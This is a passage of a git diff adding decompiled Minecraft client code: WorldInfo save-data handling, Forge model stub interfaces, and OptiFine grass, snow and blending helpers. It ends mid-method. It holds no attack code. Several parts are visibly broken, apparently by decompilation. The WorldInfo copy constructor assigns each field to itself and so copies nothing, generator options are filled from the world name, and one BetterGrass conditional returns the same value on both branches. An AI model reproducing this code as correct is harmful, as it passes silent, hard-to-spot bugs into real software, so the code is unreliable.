+        generatorOptions = nbt.getString("generatorOptions");
+      }
+    }
+    
+    theGameType = WorldSettings.GameType.getByID(nbt.getInteger("GameType"));
+    
+    if (nbt.hasKey("MapFeatures", 99))
+    {
+      mapFeaturesEnabled = nbt.getBoolean("MapFeatures");
+    }
+    else
+    {
+      mapFeaturesEnabled = true;
+    }
+    
+    spawnX = nbt.getInteger("SpawnX");
+    spawnY = nbt.getInteger("SpawnY");
+    spawnZ = nbt.getInteger("SpawnZ");
+    totalTime = nbt.getLong("Time");
+    
+    if (nbt.hasKey("DayTime", 99))
+    {
+      worldTime = nbt.getLong("DayTime");
+    }
+    else
+    {
+      worldTime = totalTime;
+    }
+    
+    lastTimePlayed = nbt.getLong("LastPlayed");
+    sizeOnDisk = nbt.getLong("SizeOnDisk");
+    levelName = nbt.getString("LevelName");
+    saveVersion = nbt.getInteger("version");
+    cleanWeatherTime = nbt.getInteger("clearWeatherTime");
+    rainTime = nbt.getInteger("rainTime");
+    raining = nbt.getBoolean("raining");
+    thunderTime = nbt.getInteger("thunderTime");
+    thundering = nbt.getBoolean("thundering");
+    hardcore = nbt.getBoolean("hardcore");
+    
+    if (nbt.hasKey("initialized", 99))
+    {
+      initialized = nbt.getBoolean("initialized");
+    }
+    else
+    {
+      initialized = true;
+    }
+    
+    if (nbt.hasKey("allowCommands", 99))
+    {
+      allowCommands = nbt.getBoolean("allowCommands");
+    }
+    else
+    {
+      allowCommands = (theGameType == WorldSettings.GameType.CREATIVE);
+    }
+    
+    if (nbt.hasKey("Player", 10))
+    {
+      playerTag = nbt.getCompoundTag("Player");
+      dimension = playerTag.getInteger("Dimension");
+    }
+    
+    if (nbt.hasKey("GameRules", 10))
+    {
+      theGameRules.readGameRulesFromNBT(nbt.getCompoundTag("GameRules"));
+    }
+    
+    if (nbt.hasKey("Difficulty", 99))
+    {
+      difficulty = EnumDifficulty.getDifficultyEnum(nbt.getByte("Difficulty"));
+    }
+    
+    if (nbt.hasKey("DifficultyLocked", 1))
+    {
+      difficultyLocked = nbt.getBoolean("DifficultyLocked");
+    }
+    
+    if (nbt.hasKey("BorderCenterX", 99))
+    {
+      borderCenterX = nbt.getDouble("BorderCenterX");
+    }
+    
+    if (nbt.hasKey("BorderCenterZ", 99))
+    {
+      borderCenterZ = nbt.getDouble("BorderCenterZ");
+    }
+    
+    if (nbt.hasKey("BorderSize", 99))
+    {
+      borderSize = nbt.getDouble("BorderSize");
+    }
+    
+    if (nbt.hasKey("BorderSizeLerpTime", 99))
+    {
+      borderSizeLerpTime = nbt.getLong("BorderSizeLerpTime");
+    }
+    
+    if (nbt.hasKey("BorderSizeLerpTarget", 99))
+    {
+      borderSizeLerpTarget = nbt.getDouble("BorderSizeLerpTarget");
+    }
+    
+    if (nbt.hasKey("BorderSafeZone", 99))
+    {
+      borderSafeZone = nbt.getDouble("BorderSafeZone");
+    }
+    
+    if (nbt.hasKey("BorderDamagePerBlock", 99))
+    {
+      borderDamagePerBlock = nbt.getDouble("BorderDamagePerBlock");
+    }
+    
+    if (nbt.hasKey("BorderWarningBlocks", 99))
+    {
+      borderWarningDistance = nbt.getInteger("BorderWarningBlocks");
+    }
+    
+    if (nbt.hasKey("BorderWarningTime", 99))
+    {
+      borderWarningTime = nbt.getInteger("BorderWarningTime");
+    }
+  }
+  
+  public WorldInfo(WorldSettings settings, String name)
+  {
+    terrainType = WorldType.DEFAULT;
+    generatorOptions = "";
+    borderCenterX = 0.0D;
+    borderCenterZ = 0.0D;
+    borderSize = 6.0E7D;
+    borderSizeLerpTime = 0L;
+    borderSizeLerpTarget = 0.0D;
+    borderSafeZone = 5.0D;
+    borderDamagePerBlock = 0.2D;
+    borderWarningDistance = 5;
+    borderWarningTime = 15;
+    theGameRules = new GameRules();
+    populateFromWorldSettings(settings);
+    levelName = name;
+    difficulty = DEFAULT_DIFFICULTY;
+    initialized = false;
+  }
+  
+  public void populateFromWorldSettings(WorldSettings settings)
+  {
+    randomSeed = settings.getSeed();
+    theGameType = settings.getGameType();
+    mapFeaturesEnabled = settings.isMapFeaturesEnabled();
+    hardcore = settings.getHardcoreEnabled();
+    terrainType = settings.getTerrainType();
+    generatorOptions = settings.getWorldName();
+    allowCommands = settings.areCommandsAllowed();
+  }
+  
+  public WorldInfo(WorldInfo p_i2159_1_)
+  {
+    terrainType = WorldType.DEFAULT;
+    generatorOptions = "";
+    borderCenterX = 0.0D;
+    borderCenterZ = 0.0D;
+    borderSize = 6.0E7D;
+    borderSizeLerpTime = 0L;
+    borderSizeLerpTarget = 0.0D;
+    borderSafeZone = 5.0D;
+    borderDamagePerBlock = 0.2D;
+    borderWarningDistance = 5;
+    borderWarningTime = 15;
+    theGameRules = new GameRules();
+    randomSeed = randomSeed;
+    terrainType = terrainType;
+    generatorOptions = generatorOptions;
+    theGameType = theGameType;
+    mapFeaturesEnabled = mapFeaturesEnabled;
+    spawnX = spawnX;
+    spawnY = spawnY;
+    spawnZ = spawnZ;
+    totalTime = totalTime;
+    worldTime = worldTime;
+    lastTimePlayed = lastTimePlayed;
+    sizeOnDisk = sizeOnDisk;
+    playerTag = playerTag;
+    dimension = dimension;
+    levelName = levelName;
+    saveVersion = saveVersion;
+    rainTime = rainTime;
+    raining = raining;
+    thunderTime = thunderTime;
+    thundering = thundering;
+    hardcore = hardcore;
+    allowCommands = allowCommands;
+    initialized = initialized;
+    theGameRules = theGameRules;
+    difficulty = difficulty;
+    difficultyLocked = difficultyLocked;
+    borderCenterX = borderCenterX;
+    borderCenterZ = borderCenterZ;
+    borderSize = borderSize;
+    borderSizeLerpTime = borderSizeLerpTime;
+    borderSizeLerpTarget = borderSizeLerpTarget;
+    borderSafeZone = borderSafeZone;
+    borderDamagePerBlock = borderDamagePerBlock;
+    borderWarningTime = borderWarningTime;
+    borderWarningDistance = borderWarningDistance;
+  }
+  
+
+
+
+  public NBTTagCompound getNBTTagCompound()
+  {
+    NBTTagCompound var1 = new NBTTagCompound();
+    updateTagCompound(var1, playerTag);
+    return var1;
+  }
+  
+
+
+
+  public NBTTagCompound cloneNBTCompound(NBTTagCompound nbt)
+  {
+    NBTTagCompound var2 = new NBTTagCompound();
+    updateTagCompound(var2, nbt);
+    return var2;
+  }
+  
+  private void updateTagCompound(NBTTagCompound nbt, NBTTagCompound playerNbt)
+  {
+    nbt.setLong("RandomSeed", randomSeed);
+    nbt.setString("generatorName", terrainType.getWorldTypeName());
+    nbt.setInteger("generatorVersion", terrainType.getGeneratorVersion());
+    nbt.setString("generatorOptions", generatorOptions);
+    nbt.setInteger("GameType", theGameType.getID());
+    nbt.setBoolean("MapFeatures", mapFeaturesEnabled);
+    nbt.setInteger("SpawnX", spawnX);
+    nbt.setInteger("SpawnY", spawnY);
+    nbt.setInteger("SpawnZ", spawnZ);
+    nbt.setLong("Time", totalTime);
+    nbt.setLong("DayTime", worldTime);
+    nbt.setLong("SizeOnDisk", sizeOnDisk);
+    nbt.setLong("LastPlayed", net.minecraft.server.MinecraftServer.getCurrentTimeMillis());
+    nbt.setString("LevelName", levelName);
+    nbt.setInteger("version", saveVersion);
+    nbt.setInteger("clearWeatherTime", cleanWeatherTime);
+    nbt.setInteger("rainTime", rainTime);
+    nbt.setBoolean("raining", raining);
+    nbt.setInteger("thunderTime", thunderTime);
+    nbt.setBoolean("thundering", thundering);
+    nbt.setBoolean("hardcore", hardcore);
+    nbt.setBoolean("allowCommands", allowCommands);
+    nbt.setBoolean("initialized", initialized);
+    nbt.setDouble("BorderCenterX", borderCenterX);
+    nbt.setDouble("BorderCenterZ", borderCenterZ);
+    nbt.setDouble("BorderSize", borderSize);
+    nbt.setLong("BorderSizeLerpTime", borderSizeLerpTime);
+    nbt.setDouble("BorderSafeZone", borderSafeZone);
+    nbt.setDouble("BorderDamagePerBlock", borderDamagePerBlock);
+    nbt.setDouble("BorderSizeLerpTarget", borderSizeLerpTarget);
+    nbt.setDouble("BorderWarningBlocks", borderWarningDistance);
+    nbt.setDouble("BorderWarningTime", borderWarningTime);
+    
+    if (difficulty != null)
+    {
+      nbt.setByte("Difficulty", (byte)difficulty.getDifficultyId());
+    }
+    
+    nbt.setBoolean("DifficultyLocked", difficultyLocked);
+    nbt.setTag("GameRules", theGameRules.writeGameRulesToNBT());
+    
+    if (playerNbt != null)
+    {
+      nbt.setTag("Player", playerNbt);
+    }
+  }
+  
+
+
+
+  public long getSeed()
+  {
+    return randomSeed;
+  }
+  
+
+
+
+  public int getSpawnX()
+  {
+    return spawnX;
+  }
+  
+
+
+
+  public int getSpawnY()
+  {
+    return spawnY;
+  }
+  
+
+
+
+  public int getSpawnZ()
+  {
+    return spawnZ;
+  }
+  
+  public long getWorldTotalTime()
+  {
+    return totalTime;
+  }
+  
+
+
+
+  public long getWorldTime()
+  {
+    return worldTime;
+  }
+  
+  public long getSizeOnDisk()
+  {
+    return sizeOnDisk;
+  }
+  
+
+
+
+  public NBTTagCompound getPlayerNBTTagCompound()
+  {
+    return playerTag;
+  }
+  
+
+
+
+  public void setSpawnX(int p_76058_1_)
+  {
+    spawnX = p_76058_1_;
+  }
+  
+
+
+
+  public void setSpawnY(int p_76056_1_)
+  {
+    spawnY = p_76056_1_;
+  }
+  
+
+
+
+  public void setSpawnZ(int p_76087_1_)
+  {
+    spawnZ = p_76087_1_;
+  }
+  
+  public void incrementTotalWorldTime(long p_82572_1_)
+  {
+    totalTime = p_82572_1_;
+  }
+  
+
+
+
+  public void setWorldTime(long p_76068_1_)
+  {
+    worldTime = p_76068_1_;
+  }
+  
+  public void setSpawn(BlockPos spawnPoint)
+  {
+    spawnX = spawnPoint.getX();
+    spawnY = spawnPoint.getY();
+    spawnZ = spawnPoint.getZ();
+  }
+  
+
+
+
+  public String getWorldName()
+  {
+    return levelName;
+  }
+  
+  public void setWorldName(String p_76062_1_)
+  {
+    levelName = p_76062_1_;
+  }
+  
+
+
+
+  public int getSaveVersion()
+  {
+    return saveVersion;
+  }
+  
+
+
+
+  public void setSaveVersion(int p_76078_1_)
+  {
+    saveVersion = p_76078_1_;
+  }
+  
+
+
+
+  public long getLastTimePlayed()
+  {
+    return lastTimePlayed;
+  }
+  
+  public int func_176133_A()
+  {
+    return cleanWeatherTime;
+  }
+  
+  public void func_176142_i(int p_176142_1_)
+  {
+    cleanWeatherTime = p_176142_1_;
+  }
+  
+
+
+
+  public boolean isThundering()
+  {
+    return thundering;
+  }
+  
+
+
+
+  public void setThundering(boolean p_76069_1_)
+  {
+    thundering = p_76069_1_;
+  }
+  
+
+
+
+  public int getThunderTime()
+  {
+    return thunderTime;
+  }
+  
+
+
+
+  public void setThunderTime(int p_76090_1_)
+  {
+    thunderTime = p_76090_1_;
+  }
+  
+
+
+
+  public boolean isRaining()
+  {
+    return raining;
+  }
+  
+
+
+
+  public void setRaining(boolean p_76084_1_)
+  {
+    raining = p_76084_1_;
+  }
+  
+
+
+
+  public int getRainTime()
+  {
+    return rainTime;
+  }
+  
+
+
+
+  public void setRainTime(int p_76080_1_)
+  {
+    rainTime = p_76080_1_;
+  }
+  
+
+
+
+  public WorldSettings.GameType getGameType()
+  {
+    return theGameType;
+  }
+  
+
+
+
+  public boolean isMapFeaturesEnabled()
+  {
+    return mapFeaturesEnabled;
+  }
+  
+  public void setMapFeaturesEnabled(boolean enabled)
+  {
+    mapFeaturesEnabled = enabled;
+  }
+  
+
+
+
+  public void setGameType(WorldSettings.GameType type)
+  {
+    theGameType = type;
+  }
+  
+
+
+
+  public boolean isHardcoreModeEnabled()
+  {
+    return hardcore;
+  }
+  
+  public void setHardcore(boolean hardcoreIn)
+  {
+    hardcore = hardcoreIn;
+  }
+  
+  public WorldType getTerrainType()
+  {
+    return terrainType;
+  }
+  
+  public void setTerrainType(WorldType p_76085_1_)
+  {
+    terrainType = p_76085_1_;
+  }
+  
+  public String getGeneratorOptions()
+  {
+    return generatorOptions;
+  }
+  
+
+
+
+  public boolean areCommandsAllowed()
+  {
+    return allowCommands;
+  }
+  
+  public void setAllowCommands(boolean allow)
+  {
+    allowCommands = allow;
+  }
+  
+
+
+
+  public boolean isInitialized()
+  {
+    return initialized;
+  }
+  
+
+
+
+  public void setServerInitialized(boolean initializedIn)
+  {
+    initialized = initializedIn;
+  }
+  
+
+
+
+  public GameRules getGameRulesInstance()
+  {
+    return theGameRules;
+  }
+  
+  public double func_176120_C()
+  {
+    return borderCenterX;
+  }
+  
+  public double func_176126_D()
+  {
+    return borderCenterZ;
+  }
+  
+  public double func_176137_E()
+  {
+    return borderSize;
+  }
+  
+  public void func_176145_a(double p_176145_1_)
+  {
+    borderSize = p_176145_1_;
+  }
+  
+  public long func_176134_F()
+  {
+    return borderSizeLerpTime;
+  }
+  
+  public void func_176135_e(long p_176135_1_)
+  {
+    borderSizeLerpTime = p_176135_1_;
+  }
+  
+  public double func_176132_G()
+  {
+    return borderSizeLerpTarget;
+  }
+  
+  public void func_176118_b(double p_176118_1_)
+  {
+    borderSizeLerpTarget = p_176118_1_;
+  }
+  
+  public void func_176141_c(double p_176141_1_)
+  {
+    borderCenterZ = p_176141_1_;
+  }
+  
+  public void func_176124_d(double p_176124_1_)
+  {
+    borderCenterX = p_176124_1_;
+  }
+  
+  public double func_176138_H()
+  {
+    return borderSafeZone;
+  }
+  
+  public void func_176129_e(double p_176129_1_)
+  {
+    borderSafeZone = p_176129_1_;
+  }
+  
+  public double func_176140_I()
+  {
+    return borderDamagePerBlock;
+  }
+  
+  public void func_176125_f(double p_176125_1_)
+  {
+    borderDamagePerBlock = p_176125_1_;
+  }
+  
+  public int func_176131_J()
+  {
+    return borderWarningDistance;
+  }
+  
+  public int func_176139_K()
+  {
+    return borderWarningTime;
+  }
+  
+  public void func_176122_j(int p_176122_1_)
+  {
+    borderWarningDistance = p_176122_1_;
+  }
+  
+  public void func_176136_k(int p_176136_1_)
+  {
+    borderWarningTime = p_176136_1_;
+  }
+  
+  public EnumDifficulty getDifficulty()
+  {
+    return difficulty;
+  }
+  
+  public void setDifficulty(EnumDifficulty newDifficulty)
+  {
+    difficulty = newDifficulty;
+  }
+  
+  public boolean isDifficultyLocked()
+  {
+    return difficultyLocked;
+  }
+  
+  public void setDifficultyLocked(boolean locked)
+  {
+    difficultyLocked = locked;
+  }
+  
+
+
+
+  public void addToCrashReport(CrashReportCategory category)
+  {
+    category.addCrashSectionCallable("Level seed", new Callable()
+    {
+      private static final String __OBFID = "CL_00000588";
+      
+      public String call() {
+        return String.valueOf(getSeed());
+      }
+    });
+    category.addCrashSectionCallable("Level generator", new Callable()
+    {
+      private static final String __OBFID = "CL_00000589";
+      
+      public String call() {
+        return String.format("ID %02d - %s, ver %d. Features enabled: %b", new Object[] { Integer.valueOf(terrainType.getWorldTypeID()), terrainType.getWorldTypeName(), Integer.valueOf(terrainType.getGeneratorVersion()), Boolean.valueOf(mapFeaturesEnabled) });
+      }
+    });
+    category.addCrashSectionCallable("Level generator options", new Callable()
+    {
+      private static final String __OBFID = "CL_00000590";
+      
+      public String call() {
+        return generatorOptions;
+      }
+    });
+    category.addCrashSectionCallable("Level spawn location", new Callable()
+    {
+      private static final String __OBFID = "CL_00000591";
+      
+      public String call() {
+        return CrashReportCategory.getCoordinateInfo(spawnX, spawnY, spawnZ);
+      }
+    });
+    category.addCrashSectionCallable("Level time", new Callable()
+    {
+      private static final String __OBFID = "CL_00000592";
+      
+      public String call() {
+        return String.format("%d game time, %d day time", new Object[] { Long.valueOf(totalTime), Long.valueOf(worldTime) });
+      }
+    });
+    category.addCrashSectionCallable("Level dimension", new Callable()
+    {
+      private static final String __OBFID = "CL_00000593";
+      
+      public String call() {
+        return String.valueOf(dimension);
+      }
+    });
+    category.addCrashSectionCallable("Level storage version", new Callable()
+    {
+      private static final String __OBFID = "CL_00000594";
+      
+      public String call() {
+        String var1 = "Unknown?";
+        
+        try
+        {
+          switch (saveVersion)
+          {
+          case 19132: 
+            var1 = "McRegion";
+            break;
+          
+          case 19133: 
+            var1 = "Anvil";
+          }
+          
+        }
+        catch (Throwable localThrowable) {}
+        
+
+
+        return String.format("0x%05X - %s", new Object[] { Integer.valueOf(saveVersion), var1 });
+      }
+    });
+    category.addCrashSectionCallable("Level weather", new Callable()
+    {
+      private static final String __OBFID = "CL_00000595";
+      
+      public String call() {
+        return String.format("Rain time: %d (now: %b), thunder time: %d (now: %b)", new Object[] { Integer.valueOf(rainTime), Boolean.valueOf(raining), Integer.valueOf(thunderTime), Boolean.valueOf(thundering) });
+      }
+    });
+    category.addCrashSectionCallable("Level game mode", new Callable()
+    {
+      private static final String __OBFID = "CL_00000597";
+      
+      public String call() {
+        return String.format("Game mode: %s (ID %d). Hardcore: %b. Cheats: %b", new Object[] { theGameType.getName(), Integer.valueOf(theGameType.getID()), Boolean.valueOf(hardcore), Boolean.valueOf(allowCommands) });
+      }
+    });
+  }
+}
diff --git a/src/minecraft/net/minecraftforge/client/model/IModelPart.java b/src/minecraft/net/minecraftforge/client/model/IModelPart.java
new file mode 100644
index 0000000..5545987
--- /dev/null
+++ b/src/minecraft/net/minecraftforge/client/model/IModelPart.java
@@ -0,0 +1,3 @@
+package net.minecraftforge.client.model;
+
+public abstract interface IModelPart {}
diff --git a/src/minecraft/net/minecraftforge/client/model/IModelState.java b/src/minecraft/net/minecraftforge/client/model/IModelState.java
new file mode 100644
index 0000000..7dae324
--- /dev/null
+++ b/src/minecraft/net/minecraftforge/client/model/IModelState.java
@@ -0,0 +1,9 @@
+package net.minecraftforge.client.model;
+
+import com.google.common.base.Function;
+
+public abstract interface IModelState
+  extends Function<IModelPart, TRSRTransformation>
+{
+  public abstract TRSRTransformation apply(IModelPart paramIModelPart);
+}
diff --git a/src/minecraft/net/minecraftforge/client/model/ITransformation.java b/src/minecraft/net/minecraftforge/client/model/ITransformation.java
new file mode 100644
index 0000000..ffecf7b
--- /dev/null
+++ b/src/minecraft/net/minecraftforge/client/model/ITransformation.java
@@ -0,0 +1,13 @@
+package net.minecraftforge.client.model;
+
+import javax.vecmath.Matrix4f;
+import net.minecraft.util.EnumFacing;
+
+public abstract interface ITransformation
+{
+  public abstract Matrix4f getMatrix();
+  
+  public abstract EnumFacing rotate(EnumFacing paramEnumFacing);
+  
+  public abstract int rotate(EnumFacing paramEnumFacing, int paramInt);
+}
diff --git a/src/minecraft/net/minecraftforge/client/model/TRSRTransformation.java b/src/minecraft/net/minecraftforge/client/model/TRSRTransformation.java
new file mode 100644
index 0000000..948cdd0
--- /dev/null
+++ b/src/minecraft/net/minecraftforge/client/model/TRSRTransformation.java
@@ -0,0 +1,12 @@
+package net.minecraftforge.client.model;
+
+import javax.vecmath.Matrix4f;
+import org.apache.commons.lang3.NotImplementedException;
+
+public class TRSRTransformation
+{
+  public TRSRTransformation(Matrix4f matrix)
+  {
+    throw new NotImplementedException("Forge dummy class");
+  }
+}
diff --git a/src/minecraft/net/minecraftforge/client/model/pipeline/IVertexConsumer.java b/src/minecraft/net/minecraftforge/client/model/pipeline/IVertexConsumer.java
new file mode 100644
index 0000000..37c6b7e
--- /dev/null
+++ b/src/minecraft/net/minecraftforge/client/model/pipeline/IVertexConsumer.java
@@ -0,0 +1,17 @@
+package net.minecraftforge.client.model.pipeline;
+
+import net.minecraft.client.renderer.vertex.VertexFormat;
+import net.minecraft.util.EnumFacing;
+
+public abstract interface IVertexConsumer
+{
+  public abstract VertexFormat getVertexFormat();
+  
+  public abstract void setQuadTint(int paramInt);
+  
+  public abstract void setQuadOrientation(EnumFacing paramEnumFacing);
+  
+  public abstract void setQuadColored();
+  
+  public abstract void put(int paramInt, float... paramVarArgs);
+}
diff --git a/src/minecraft/net/minecraftforge/client/model/pipeline/IVertexProducer.java b/src/minecraft/net/minecraftforge/client/model/pipeline/IVertexProducer.java
new file mode 100644
index 0000000..217d939
--- /dev/null
+++ b/src/minecraft/net/minecraftforge/client/model/pipeline/IVertexProducer.java
@@ -0,0 +1,6 @@
+package net.minecraftforge.client.model.pipeline;
+
+public abstract interface IVertexProducer
+{
+  public abstract void pipe(IVertexConsumer paramIVertexConsumer);
+}
diff --git a/src/minecraft/optifine/BetterGrass.java b/src/minecraft/optifine/BetterGrass.java
new file mode 100644
index 0000000..fffb687
--- /dev/null
+++ b/src/minecraft/optifine/BetterGrass.java
@@ -0,0 +1,84 @@
+package optifine;
+
+import java.util.ArrayList;
+import java.util.List;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockGrass;
+import net.minecraft.block.BlockMycelium;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.client.resources.model.IBakedModel;
+import net.minecraft.client.resources.model.SimpleBakedModel;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.IBlockAccess;
+
+
+public class BetterGrass
+{
+  private static IBakedModel modelEmpty = new SimpleBakedModel(new ArrayList(), new ArrayList(), false, false, null, null);
+  private static IBakedModel modelCubeMycelium = null;
+  private static IBakedModel modelCubeGrassSnowy = null;
+  private static IBakedModel modelCubeGrass = null;
+  
+  public BetterGrass() {}
+  
+  public static void update() { modelCubeGrass = BlockModelUtils.makeModelCube("minecraft:blocks/grass_top", 0);
+    modelCubeGrassSnowy = BlockModelUtils.makeModelCube("minecraft:blocks/snow", -1);
+    modelCubeMycelium = BlockModelUtils.makeModelCube("minecraft:blocks/mycelium_top", -1);
+  }
+  
+  public static List getFaceQuads(IBlockAccess blockAccess, Block block, BlockPos blockPos, EnumFacing facing, List quads)
+  {
+    if ((facing != EnumFacing.UP) && (facing != EnumFacing.DOWN))
+    {
+      if ((block instanceof BlockMycelium))
+      {
+        return Config.isBetterGrassFancy() ? quads : getBlockAt(blockPos.offsetDown(), facing, blockAccess) == Blocks.mycelium ? modelCubeMycelium.func_177551_a(facing) : modelCubeMycelium.func_177551_a(facing);
+      }
+      
+
+      if ((block instanceof BlockGrass))
+      {
+        Block blockUp = blockAccess.getBlockState(blockPos.offsetUp()).getBlock();
+        boolean snowy = (blockUp == Blocks.snow) || (blockUp == Blocks.snow_layer);
+        
+        if (!Config.isBetterGrassFancy())
+        {
+          if (snowy)
+          {
+            return modelCubeGrassSnowy.func_177551_a(facing);
+          }
+          
+          return modelCubeGrass.func_177551_a(facing);
+        }
+        
+        if (snowy)
+        {
+          if (getBlockAt(blockPos, facing, blockAccess) == Blocks.snow_layer)
+          {
+            return modelCubeGrassSnowy.func_177551_a(facing);
+          }
+        }
+        else if (getBlockAt(blockPos.offsetDown(), facing, blockAccess) == Blocks.grass)
+        {
+          return modelCubeGrass.func_177551_a(facing);
+        }
+      }
+      
+      return quads;
+    }
+    
+
+
+    return quads;
+  }
+  
+
+  private static Block getBlockAt(BlockPos blockPos, EnumFacing facing, IBlockAccess blockAccess)
+  {
+    BlockPos pos = blockPos.offset(facing);
+    Block block = blockAccess.getBlockState(pos).getBlock();
+    return block;
+  }
+}
diff --git a/src/minecraft/optifine/BetterSnow.java b/src/minecraft/optifine/BetterSnow.java
new file mode 100644
index 0000000..763fd6b
--- /dev/null
+++ b/src/minecraft/optifine/BetterSnow.java
@@ -0,0 +1,100 @@
+package optifine;
+
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockDoublePlant;
+import net.minecraft.block.BlockFence;
+import net.minecraft.block.BlockFenceGate;
+import net.minecraft.block.BlockFlower;
+import net.minecraft.block.BlockFlowerPot;
+import net.minecraft.block.BlockLever;
+import net.minecraft.block.BlockLever.EnumOrientation;
+import net.minecraft.block.BlockPane;
+import net.minecraft.block.BlockRedstoneTorch;
+import net.minecraft.block.BlockSapling;
+import net.minecraft.block.BlockSnow;
+import net.minecraft.block.BlockTallGrass;
+import net.minecraft.block.BlockTorch;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.BlockModelShapes;
+import net.minecraft.client.renderer.BlockRendererDispatcher;
+import net.minecraft.client.resources.model.IBakedModel;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.IBlockAccess;
+
+public class BetterSnow
+{
+  private static IBakedModel modelSnowLayer = null;
+  
+  public BetterSnow() {}
+  
+  public static void update() { modelSnowLayer = Config.getMinecraft().getBlockRendererDispatcher().func_175023_a().func_178125_b(Blocks.snow_layer.getDefaultState()); }
+  
+
+  public static IBakedModel getModelSnowLayer()
+  {
+    return modelSnowLayer;
+  }
+  
+  public static IBlockState getStateSnowLayer()
+  {
+    return Blocks.snow_layer.getDefaultState();
+  }
+  
+  public static boolean shouldRender(IBlockAccess blockAccess, Block block, IBlockState blockState, BlockPos blockPos)
+  {
+    return !checkBlock(block, blockState) ? false : hasSnowNeighbours(blockAccess, blockPos);
+  }
+  
+  private static boolean hasSnowNeighbours(IBlockAccess blockAccess, BlockPos pos)
+  {
+    Block blockSnow = Blocks.snow_layer;
+    return (blockAccess.getBlockState(pos.offsetNorth()).getBlock() != blockSnow) && (blockAccess.getBlockState(pos.offsetSouth()).getBlock() != blockSnow) && (blockAccess.getBlockState(pos.offsetWest()).getBlock() != blockSnow) && (blockAccess.getBlockState(pos.offsetEast()).getBlock() != blockSnow) ? false : blockAccess.getBlockState(pos.offsetDown()).getBlock().isOpaqueCube();
+  }
+  
+  private static boolean checkBlock(Block block, IBlockState blockState)
+  {
+    if (block.isFullCube())
+    {
+      return false;
+    }
+    if (block.isOpaqueCube())
+    {
+      return false;
+    }
+    if ((block instanceof BlockSnow))
+    {
+      return false;
+    }
+    if (((block instanceof net.minecraft.block.BlockBush)) && (((block instanceof BlockDoublePlant)) || ((block instanceof BlockFlower)) || ((block instanceof net.minecraft.block.BlockMushroom)) || ((block instanceof BlockSapling)) || ((block instanceof BlockTallGrass))))
+    {
+      return true;
+    }
+    if ((!(block instanceof BlockFence)) && (!(block instanceof BlockFenceGate)) && (!(block instanceof BlockFlowerPot)) && (!(block instanceof BlockPane)) && (!(block instanceof net.minecraft.block.BlockReed)) && (!(block instanceof net.minecraft.block.BlockWall)))
+    {
+      if (((block instanceof BlockRedstoneTorch)) && (blockState.getValue(BlockTorch.FACING_PROP) == EnumFacing.UP))
+      {
+        return true;
+      }
+      
+
+      if ((block instanceof BlockLever))
+      {
+        Comparable orient = blockState.getValue(BlockLever.FACING);
+        
+        if ((orient == BlockLever.EnumOrientation.UP_X) || (orient == BlockLever.EnumOrientation.UP_Z))
+        {
+          return true;
+        }
+      }
+      
+      return false;
+    }
+    
+
+
+    return true;
+  }
+}
diff --git a/src/minecraft/optifine/Blender.java b/src/minecraft/optifine/Blender.java
new file mode 100644
index 0000000..f05f327
--- /dev/null
+++ b/src/minecraft/optifine/Blender.java
@@ -0,0 +1,148 @@
+package optifine;
+
+import net.minecraft.client.renderer.GlStateManager;
+
+public class Blender {
+  public static final int BLEND_ALPHA = 0;
+  public static final int BLEND_ADD = 1;
+  public static final int BLEND_SUBSTRACT = 2;
+  public static final int BLEND_MULTIPLY = 3;
+  public static final int BLEND_DODGE = 4;
+  public static final int BLEND_BURN = 5;
+  public static final int BLEND_SCREEN = 6;
+  public static final int BLEND_OVERLAY = 7;
+  public static final int BLEND_REPLACE = 8;
+  public static final int BLEND_DEFAULT = 1;
+  
+  public Blender() {}
+  
+  public static int parseBlend(String str) {
+    if (str == null)
+    {
+      return 1;
+    }
+    
+
+    str = str.toLowerCase().trim();
+    
+    if (str.equals("alpha"))
+    {
+      return 0;
+    }
+    if (str.equals("add"))
+    {
+      return 1;
+    }
+    if (str.equals("subtract"))
+    {
+      return 2;
+    }
+    if (str.equals("multiply"))
+    {
+      return 3;
+    }
+    if (str.equals("dodge"))
+    {
+      return 4;
+    }
+    if (str.equals("burn"))
+    {
+      return 5;
+    }
+    if (str.equals("screen"))
+    {
+      return 6;
+    }
+    if (str.equals("overlay"))
+    {
+      return 7;
+    }
+    if (str.equals("replace"))
+    {
+      return 8;
+    }
+    
+
+    Config.warn("Unknown blend: " + str);
+    return 1;
+  }
+  
+
+
+  public static void setupBlend(int blend, float brightness)
+  {
+    switch (blend)
+    {
+    case 0: 
+      GlStateManager.disableAlpha();
+      GlStateManager.enableBlend();
+      GlStateManager.blendFunc(770, 771);
+      GlStateManager.color(1.0F, 1.0F, 1.0F, brightness);
+      break;
+    
+    case 1: 
+      GlStateManager.disableAlpha();
+      GlStateManager.enableBlend();
+      GlStateManager.blendFunc(770, 1);
+      GlStateManager.color(1.0F, 1.0F, 1.0F, brightness);
+      break;
+    
+    case 2: 
+      GlStateManager.disableAlpha();
+      GlStateManager.enableBlend();
+      GlStateManager.blendFunc(775, 0);
+      GlStateManager.color(brightness, brightness, brightness, 1.0F);
+      break;
+    
+    case 3: 
+      GlStateManager.disableAlpha();
+      GlStateManager.enableBlend();
+      GlStateManager.blendFunc(774, 771);
+      GlStateManager.color(brightness, brightness, brightness, brightness);
+      break;
+    
+    case 4: 
+      GlStateManager.disableAlpha();
+      GlStateManager.enableBlend();
+      GlStateManager.blendFunc(1, 1);
+      GlStateManager.color(brightness, brightness, brightness, 1.0F);
+      break;
+    
+    case 5: 
+      GlStateManager.disableAlpha();
+      GlStateManager.enableBlend();
+      GlStateManager.blendFunc(0, 769);
+      GlStateManager.color(brightness, brightness, brightness, 1.0F);
+      break;
+    
+    case 6: 
+      GlStateManager.disableAlpha();
+      GlStateManager.enableBlend();
+      GlStateManager.blendFunc(1, 769);
+      GlStateManager.color(brightness, brightness, brightness, 1.0F);
+      break;
+    
+    case 7: 
+      GlStateManager.disableAlpha();
+      GlStateManager.enableBlend();
+      GlStateManager.blendFunc(774, 768);
+      GlStateManager.color(brightness, brightness, brightness, 1.0F);
+      break;
+    
+    case 8: 
+      GlStateManager.enableAlpha();
+      GlStateManager.disableBlend();
+      GlStateManager.color(1.0F, 1.0F, 1.0F, brightness);
+    }
+    
